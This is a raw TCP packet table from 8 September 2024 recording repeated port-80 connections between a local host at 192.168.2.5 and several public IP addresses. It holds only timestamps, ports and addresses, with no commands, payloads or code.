Sep 8, 2024 08:40:23.527120113 CEST	49768	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:40:23.530566931 CEST	49769	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:23.532032013 CEST	80	49768	45.79.222.138	192.168.2.5
Sep 8, 2024 08:40:23.532088995 CEST	49768	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:40:23.535516024 CEST	80	49769	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:23.535581112 CEST	49769	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:23.542769909 CEST	49769	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:23.547648907 CEST	80	49769	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:24.026845932 CEST	80	49769	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:24.026878119 CEST	80	49769	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:24.026988029 CEST	49769	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:24.027131081 CEST	49769	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:24.027734041 CEST	49767	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:24.028023005 CEST	49770	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:24.032713890 CEST	80	49767	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:24.032768965 CEST	80	49770	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:24.032963037 CEST	49767	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:24.033009052 CEST	49770	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:24.033364058 CEST	49770	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:24.038105965 CEST	80	49770	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:24.543942928 CEST	80	49770	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:24.544104099 CEST	49770	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:25.835030079 CEST	49771	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:40:25.839935064 CEST	80	49771	88.198.29.97	192.168.2.5
Sep 8, 2024 08:40:25.843377113 CEST	49771	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:40:25.855304003 CEST	49771	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:40:25.860380888 CEST	80	49771	88.198.29.97	192.168.2.5
Sep 8, 2024 08:40:25.863277912 CEST	49771	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:40:25.868026972 CEST	49772	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:25.872955084 CEST	80	49772	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:25.875507116 CEST	49772	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:25.887674093 CEST	49772	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:25.895881891 CEST	80	49772	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:26.376557112 CEST	80	49772	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:26.376606941 CEST	80	49772	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:26.376703024 CEST	49772	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:26.376773119 CEST	49772	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:26.463218927 CEST	49770	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:26.463557959 CEST	49773	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:26.468358994 CEST	80	49773	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:26.468381882 CEST	80	49770	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:26.468462944 CEST	49770	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:26.468468904 CEST	49773	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:26.468602896 CEST	49773	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:26.473309040 CEST	80	49773	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:26.959501028 CEST	80	49773	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:26.959599018 CEST	49773	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:28.757730007 CEST	49774	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:40:28.762587070 CEST	80	49774	45.79.222.138	192.168.2.5
Sep 8, 2024 08:40:28.762653112 CEST	49774	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:40:28.762737989 CEST	49774	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:40:28.766146898 CEST	49775	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:28.767926931 CEST	80	49774	45.79.222.138	192.168.2.5
Sep 8, 2024 08:40:28.767980099 CEST	49774	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:40:28.771049023 CEST	80	49775	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:28.771114111 CEST	49775	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:28.771162033 CEST	49775	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:28.776160955 CEST	80	49775	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:30.097635984 CEST	80	49775	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:30.097660065 CEST	80	49775	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:30.097671032 CEST	80	49775	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:30.097757101 CEST	49775	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:30.097851038 CEST	49775	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:30.097851038 CEST	49775	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:30.098102093 CEST	80	49775	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:30.098144054 CEST	49775	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:30.098170042 CEST	80	49775	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:30.098200083 CEST	49775	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:30.098263025 CEST	49773	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:30.098615885 CEST	49776	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:30.107824087 CEST	80	49776	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:30.107938051 CEST	49776	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:30.108104944 CEST	49776	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:30.108107090 CEST	80	49773	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:30.108148098 CEST	49773	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:30.113976002 CEST	80	49776	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:30.623303890 CEST	80	49776	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:30.623414993 CEST	49776	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:35.322834015 CEST	49778	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:40:35.327784061 CEST	80	49778	45.79.222.138	192.168.2.5
Sep 8, 2024 08:40:35.327873945 CEST	49778	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:40:35.327960014 CEST	49778	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:40:35.331670046 CEST	49779	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:35.333065033 CEST	80	49778	45.79.222.138	192.168.2.5
Sep 8, 2024 08:40:35.333159924 CEST	49778	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:40:35.336472988 CEST	80	49779	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:35.336555958 CEST	49779	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:35.336638927 CEST	49779	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:35.341404915 CEST	80	49779	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:35.827544928 CEST	80	49779	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:35.827619076 CEST	80	49779	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:35.827707052 CEST	49779	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:35.827805042 CEST	49779	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:35.833250046 CEST	49776	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:35.833544970 CEST	49780	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:35.838320971 CEST	80	49776	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:35.838351965 CEST	80	49780	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:35.838406086 CEST	49776	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:35.838439941 CEST	49780	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:35.838607073 CEST	49780	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:35.843353987 CEST	80	49780	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:36.327089071 CEST	80	49780	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:36.328511000 CEST	49780	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:37.625179052 CEST	49781	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:40:37.629987955 CEST	80	49781	64.70.19.203	192.168.2.5
Sep 8, 2024 08:40:37.630073071 CEST	49781	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:40:37.630168915 CEST	49781	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:40:37.633550882 CEST	49782	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:37.635839939 CEST	80	49781	64.70.19.203	192.168.2.5
Sep 8, 2024 08:40:37.635907888 CEST	49781	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:40:37.639142036 CEST	80	49782	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:37.639238119 CEST	49782	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:37.652144909 CEST	49782	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:37.657107115 CEST	80	49782	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:38.125412941 CEST	80	49782	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:38.125442028 CEST	80	49782	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:38.125541925 CEST	49782	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:38.125622034 CEST	49782	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:38.125888109 CEST	49780	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:38.130872011 CEST	80	49780	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:38.130987883 CEST	49780	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:38.132205963 CEST	49783	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:38.137072086 CEST	80	49783	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:38.137159109 CEST	49783	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:38.137319088 CEST	49783	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:38.142043114 CEST	80	49783	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:38.622320890 CEST	80	49783	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:38.622406960 CEST	49783	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:38.865794897 CEST	49784	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:40:38.872034073 CEST	80	49784	88.198.29.97	192.168.2.5
Sep 8, 2024 08:40:38.872133970 CEST	49784	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:40:38.886539936 CEST	49784	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:40:38.890564919 CEST	49785	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:38.891493082 CEST	80	49784	88.198.29.97	192.168.2.5
Sep 8, 2024 08:40:38.891558886 CEST	49784	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:40:38.895416975 CEST	80	49785	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:38.895489931 CEST	49785	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:38.902201891 CEST	49785	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:38.907104015 CEST	80	49785	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:39.376775980 CEST	80	49785	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:39.376808882 CEST	80	49785	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:39.376868010 CEST	49785	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:39.376955986 CEST	49785	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:39.385154009 CEST	49783	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:39.385428905 CEST	49786	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:39.390249014 CEST	80	49786	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:39.390328884 CEST	80	49783	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:39.390332937 CEST	49786	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:39.390374899 CEST	49783	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:39.390494108 CEST	49786	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:39.395283937 CEST	80	49786	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:39.891273975 CEST	80	49786	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:39.891331911 CEST	49786	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:41.130734921 CEST	49787	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:40:41.135711908 CEST	80	49787	88.198.29.97	192.168.2.5
Sep 8, 2024 08:40:41.135780096 CEST	49787	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:40:41.136487007 CEST	49787	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:40:41.139761925 CEST	49788	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:41.141319990 CEST	80	49787	88.198.29.97	192.168.2.5
Sep 8, 2024 08:40:41.141376972 CEST	49787	80	192.168.2.5	88.198.29.97
Sep 8, 2024 08:40:41.144603968 CEST	80	49788	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:41.144668102 CEST	49788	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:41.152108908 CEST	49788	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:41.156879902 CEST	80	49788	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:41.630551100 CEST	80	49788	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:41.630577087 CEST	80	49788	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:41.630637884 CEST	49788	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:41.630690098 CEST	49788	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:41.630949020 CEST	49786	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:41.631237984 CEST	49789	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:41.635946035 CEST	80	49786	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:41.635993958 CEST	80	49789	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:41.635994911 CEST	49786	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:41.636051893 CEST	49789	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:41.636181116 CEST	49789	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:41.640911102 CEST	80	49789	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:42.127796888 CEST	80	49789	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:42.127908945 CEST	49789	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:45.282902956 CEST	49790	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:40:45.287861109 CEST	80	49790	45.79.222.138	192.168.2.5
Sep 8, 2024 08:40:45.288022995 CEST	49790	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:40:45.288084984 CEST	49790	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:40:45.291564941 CEST	49791	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:45.293284893 CEST	80	49790	45.79.222.138	192.168.2.5
Sep 8, 2024 08:40:45.293364048 CEST	49790	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:40:45.296493053 CEST	80	49791	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:45.296576977 CEST	49791	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:45.308680058 CEST	49791	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:45.313570976 CEST	80	49791	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:45.787477016 CEST	80	49791	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:45.787502050 CEST	80	49791	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:45.787615061 CEST	49791	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:45.806936979 CEST	49791	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:45.823400021 CEST	49789	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:45.823693037 CEST	49792	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:45.830916882 CEST	80	49792	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:45.830996037 CEST	49792	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:45.831226110 CEST	80	49789	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:45.831434011 CEST	49789	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:45.831537008 CEST	49792	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:45.838807106 CEST	80	49792	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:46.332411051 CEST	80	49792	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:46.333277941 CEST	49792	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:48.891253948 CEST	49793	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:40:48.896029949 CEST	80	49793	64.70.19.203	192.168.2.5
Sep 8, 2024 08:40:48.900378942 CEST	49793	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:40:48.902138948 CEST	49793	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:40:48.905844927 CEST	49794	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:48.907011986 CEST	80	49793	64.70.19.203	192.168.2.5
Sep 8, 2024 08:40:48.907099009 CEST	49793	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:40:48.910645008 CEST	80	49794	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:48.910718918 CEST	49794	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:48.917741060 CEST	49794	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:48.922517061 CEST	80	49794	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:49.413362026 CEST	80	49794	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:49.413392067 CEST	80	49794	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:49.413460016 CEST	49794	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:49.413501978 CEST	49794	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:49.421533108 CEST	49792	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:49.421803951 CEST	49795	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:49.426608086 CEST	80	49795	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:49.426634073 CEST	80	49792	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:49.426677942 CEST	49795	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:49.426709890 CEST	49792	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:49.426937103 CEST	49795	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:49.431760073 CEST	80	49795	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:49.941144943 CEST	80	49795	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:49.941310883 CEST	49795	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:52.435404062 CEST	49796	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:40:52.440275908 CEST	80	49796	64.70.19.203	192.168.2.5
Sep 8, 2024 08:40:52.440346956 CEST	49796	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:40:52.440507889 CEST	49796	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:40:52.445506096 CEST	80	49796	64.70.19.203	192.168.2.5
Sep 8, 2024 08:40:52.445564032 CEST	49796	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:40:52.451009989 CEST	49797	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:52.456010103 CEST	80	49797	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:52.456068993 CEST	49797	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:52.456316948 CEST	49797	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:52.461131096 CEST	80	49797	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:52.946543932 CEST	80	49797	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:52.946568966 CEST	80	49797	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:52.946652889 CEST	49797	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:52.946778059 CEST	49797	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:52.948369980 CEST	49795	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:52.948648930 CEST	49798	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:52.953524113 CEST	80	49798	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:52.953545094 CEST	80	49795	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:52.953594923 CEST	49798	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:52.953622103 CEST	49795	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:52.953737020 CEST	49798	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:52.958627939 CEST	80	49798	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:53.456583023 CEST	80	49798	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:53.456640005 CEST	49798	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:57.068600893 CEST	49799	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:40:57.073388100 CEST	80	49799	45.79.222.138	192.168.2.5
Sep 8, 2024 08:40:57.073481083 CEST	49799	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:40:57.073553085 CEST	49799	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:40:57.078648090 CEST	80	49799	45.79.222.138	192.168.2.5
Sep 8, 2024 08:40:57.078746080 CEST	49799	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:40:57.087836027 CEST	49800	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:57.092681885 CEST	80	49800	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:57.092768908 CEST	49800	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:57.092848063 CEST	49800	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:57.097589970 CEST	80	49800	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:57.572048903 CEST	80	49800	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:57.572071075 CEST	80	49800	172.234.222.143	192.168.2.5
Sep 8, 2024 08:40:57.572119951 CEST	49800	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:57.572185040 CEST	49800	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:40:57.573843956 CEST	49798	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:57.574304104 CEST	49801	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:57.582125902 CEST	80	49801	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:57.582187891 CEST	49801	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:57.582269907 CEST	80	49798	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:57.582328081 CEST	49798	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:57.582393885 CEST	49801	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:40:57.588264942 CEST	80	49801	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:58.066458941 CEST	80	49801	172.234.222.138	192.168.2.5
Sep 8, 2024 08:40:58.066519976 CEST	49801	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:00.270273924 CEST	49802	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:41:00.278163910 CEST	80	49802	45.79.222.138	192.168.2.5
Sep 8, 2024 08:41:00.278229952 CEST	49802	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:41:00.278312922 CEST	49802	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:41:00.283351898 CEST	80	49802	45.79.222.138	192.168.2.5
Sep 8, 2024 08:41:00.283402920 CEST	49802	80	192.168.2.5	45.79.222.138
Sep 8, 2024 08:41:00.299681902 CEST	49803	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:00.304526091 CEST	80	49803	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:00.304584980 CEST	49803	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:00.308438063 CEST	49803	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:00.313321114 CEST	80	49803	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:00.809294939 CEST	80	49803	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:00.809381008 CEST	80	49803	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:00.809433937 CEST	49803	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:00.809468985 CEST	49803	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:00.822669983 CEST	49801	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:00.822952986 CEST	49804	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:00.827743053 CEST	80	49804	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:00.827800035 CEST	49804	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:00.827816963 CEST	80	49801	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:00.827862024 CEST	49801	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:00.828452110 CEST	49804	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:00.834053040 CEST	80	49804	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:01.339410067 CEST	80	49804	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:01.339531898 CEST	49804	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:01.480984926 CEST	49805	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:41:01.485830069 CEST	80	49805	64.70.19.203	192.168.2.5
Sep 8, 2024 08:41:01.487499952 CEST	49805	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:41:01.487602949 CEST	49805	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:41:01.492770910 CEST	80	49805	64.70.19.203	192.168.2.5
Sep 8, 2024 08:41:01.495192051 CEST	49805	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:41:01.541649103 CEST	49806	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:01.546547890 CEST	80	49806	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:01.546638966 CEST	49806	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:01.546715021 CEST	49806	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:01.551492929 CEST	80	49806	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:02.039913893 CEST	80	49806	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:02.039942980 CEST	80	49806	172.234.222.143	192.168.2.5
Sep 8, 2024 08:41:02.040041924 CEST	49806	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:02.040173054 CEST	49806	80	192.168.2.5	172.234.222.143
Sep 8, 2024 08:41:02.040442944 CEST	49804	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:02.040810108 CEST	49807	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:02.045751095 CEST	80	49807	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:02.045762062 CEST	80	49804	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:02.045881033 CEST	49804	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:02.045916080 CEST	49807	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:02.046190023 CEST	49807	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:02.050964117 CEST	80	49807	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:02.536381006 CEST	80	49807	172.234.222.138	192.168.2.5
Sep 8, 2024 08:41:02.536458015 CEST	49807	80	192.168.2.5	172.234.222.138
Sep 8, 2024 08:41:02.673872948 CEST	49808	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:41:02.680581093 CEST	80	49808	64.70.19.203	192.168.2.5
Sep 8, 2024 08:41:02.680639029 CEST	49808	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:41:02.680747032 CEST	49808	80	192.168.2.5	64.70.19.203
Sep 8, 2024 08:41:02.687623024 CEST	80	49808	64.70.19.203	192.168.2.5
